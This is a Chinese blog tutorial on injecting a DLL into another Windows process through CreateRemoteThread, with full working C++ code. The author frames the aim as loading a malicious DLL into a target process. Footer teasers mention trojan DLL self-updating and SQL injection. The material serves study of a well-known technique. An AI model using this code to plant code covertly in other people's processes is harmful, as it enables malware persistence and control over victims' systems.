利用CreateRemoteThread( ) 实现远程线程注入

Ustinain
• 阅读 1471

前言

首先想法是 强制创建一个目标进程的线程,把我自己的恶意DLL加载进去 被注入的DLL拥有目标进程内存的访问权限,所以我们可以通过该

向某个进程注入DLL时的方法主要有以下三种:

创建远程线程(CreateRemoteThread() API) • 使用注册表(AppInit_DLLs值) • 消息钩取(SetWindowsHookEx())

小试牛刀

目前尝试第一种: 1. 使用VirtualAllocEx()在目标进程的地址空间中创建一块我们DLL所在路径长度的内存空间。 2. 使用WriteProcessMemory()将DLL路径写入分配的内存。 3. 一旦DLL路径写入内存中,再使用CreateRemoteThread()(或者其他无正式说明的功能),它再调用LoadLibrary函数将DLL注入目标进程中。

代码:

  1. 使用VirtualAllocEx()在目标进程的地址空间中创建一块我们DLL所在路径长度的内存空间。
    void process(int pid, char* path){
    //获取进程的句柄 如果成功返回程序句柄,失败返回NULL
    HANDLE processHANDLE = OpenProcess(PROCESS_ALL_ACCESS, false,pid);
    //申请一块内存给DLL路径
    LPVOID pReturnAddress = VirtualAllocEx(processHANDLE, NULL, strlen(path) + 1, MEM_COMMIT, PAGE_READWRITE);
  1. 然后使用WriteProcessMemory()把我们要载如的DLL路径写入到刚刚创建的DLL内存空间中
//写入路径到上一行代码申请的内存中去
WriteProcessMemory(processHANDLE,pReturnAddress,path,strlen(path)+1,NULL);
  1. 一旦DLL路径写入内存中,再使用CreateRemoteThread(或者其他无正式说明的功能),它再调用LoadLibrary()函数将我们的DLL注入目标进程中。
//获取函数模块句柄
HMODULE hmodule = GetModuleHandleA("KERNEL32.dll");
//获取DLL载入函数的地址
LPTHREAD_START_ROUTINE lpStartAddress =(LPTHREAD_START_ROUTINE)GetProcAddress(hmodule,"LoadLibraryA");
/* CreateRemoteThread()
hProcess:要在其中创建线程的进程的句柄
lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,一般为NULL
dwStackSize:一般为0
lpStartAddress:最重要的一个参数,表示远程进程中线程的起始地址
lpParameter:指向要传递给线程函数的变量的指针。
dwCreationFlags:控制线程创建的标志。
*/
CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL);

第四个参数lpParameter

指向要传递给线程要执行的函数的变量(参数—)路径 也就是dll的路径)的指针。 整体代码如下:

  /* 本程序是利用Windows API 实现远程线程注入 2021.4.19/20:24 */
#include <iostream>
#include <windows.h>

void process(int pid, char* path){
    //获取进程的句柄 如果成功返回程序句柄,失败返回NULL
    HANDLE processHANDLE = OpenProcess(PROCESS_ALL_ACCESS, false,pid);
    //申请一块内存给DLL路径
    LPVOID pReturnAddress = VirtualAllocEx(processHANDLE, NULL, strlen(path) + 1, MEM_COMMIT, PAGE_READWRITE);
    //写入路径到上一行代码申请的内存中去
    WriteProcessMemory(processHANDLE,pReturnAddress,path,strlen(path)+1,NULL);
    //获取函数模块句柄
    HMODULE hmodule = GetModuleHandleA("KERNEL32.dll");
    //获取DLL载入函数的地址
    LPTHREAD_START_ROUTINE lpStartAddress =(LPTHREAD_START_ROUTINE)GetProcAddress(hmodule,"LoadLibraryA");

    /* CreateRemoteThread()
    hProcess:要在其中创建线程的进程的句柄
    lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,一般为NULL
    dwStackSize:一般为0
    lpStartAddress:最重要的一个参数,表示远程进程中线程的起始地址
    lpParameter:指向要传递给线程函数的变量的指针。
    dwCreationFlags:控制线程创建的标志。
    */
    CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL);
}
int main() {

    const char *path ="C:\\Users\\86132\\Desktop\\libDLL.dll";  //这里做了一个强制类型转换
    process(11620,(char*)path); //第一个参数是被注入进程的PID,第二个则是要注入dll的路径
    return 0;
}

远程线程注入 优化

在多线程的情况下,有时候我们希望等待某一个线程完成后,再让程序继续调用其他线程 防止程序线程的阻塞

基于上面的注入代码做一个优化 我们利用GreateRemoteTread()函数,如果成功会返回线程的句柄

接下里介绍这个:

WaitForSingleObject函数

等待直到指定的对象处于发信号状态或超时间隔过去。

参数: hHandle 对象的句柄,必须具有SYNCHRONIZE访问权限

dwMilliseconds 超时间隔(以毫秒为单位)。 如果指定了非零值,则函数将等待,直到发出信号通知对象或间隔过去为止。 如果dwMilliseconds为零,则如果未用信号通知对象,则函数不会进入等待状态;否则,函数将进入等待状态。它总是立即返回。 如果dwMilliseconds为INFINITE,则仅在发出对象信号时该函数才会返回。也就是有多久等多久

//创建远程线程 并获取句柄 hThread
HANDLE hThread = CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL);
//等待线程事件
WaitForSingleObject(hThread,2000);

这里等待2秒 还有一个小细节,利用closehandle()函数关闭打开的对象句柄。防止内存泄漏

//关掉句柄,防止内存泄漏
CloseHandle(hmodule);
CloseHandle(processHANDLE);
点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Easter79 Easter79
2年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
李志宽 李志宽
2年前
干货:木马DLL实现热更新的骚批操作
以前开发木马有个需求:木马是一个DLL文件,DLL需要注入到某个进程常驻,该DLL具备自我升级能力,当发现新的可用版本时,立即Free自己,加载新的。下面是我的一个实现方案:开启一个监听线程,从网络上拉新的可用版本,下载放到一个临时目录,如果发现需要升级,则立即FreeLibrary自身,然后执行更新过程。由于FreeLibrary之后当前模块的内存区域已经
李志宽 李志宽
2年前
android平台注入技术
背景在android系统中,进程之间是相互隔离的,两个进程之间是没办法直接跨进程访问其他进程的空间信息的。那么在android平台中要对某个app进程进行内存操作,并获取目标进程的地址空间内信息或者修改目标进程的地址空间内的私有信息,就需要涉及到注入技术。通过注入技术可以将指定so模块或代码注入到目标进程中,只要注入成功后,就可以进行访问和篡改目标进程空间内
Wesley13 Wesley13
2年前
4、jstack查看线程栈信息
1、介绍利用jps、top、jstack命令找到进程中耗时最大的线程,以及线程状态等等,同时最后还可以显示出死锁的线程查找:FoundoneJavaleveldeadlock即可1、jps获得进程号!(https://oscimg.oschina.net/oscnet/da00a309fa6
Stella981 Stella981
2年前
KVM调整cpu和内存
一.修改kvm虚拟机的配置1、virsheditcentos7找到“memory”和“vcpu”标签,将<namecentos7</name<uuid2220a6d1a36a4fbb8523e078b3dfe795</uuid
Easter79 Easter79
2年前
Twitter的分布式自增ID算法snowflake (Java版)
概述分布式系统中,有一些需要使用全局唯一ID的场景,这种时候为了防止ID冲突可以使用36位的UUID,但是UUID有一些缺点,首先他相对比较长,另外UUID一般是无序的。有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。而twitter的snowflake解决了这种需求,最初Twitter把存储系统从MySQL迁移
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这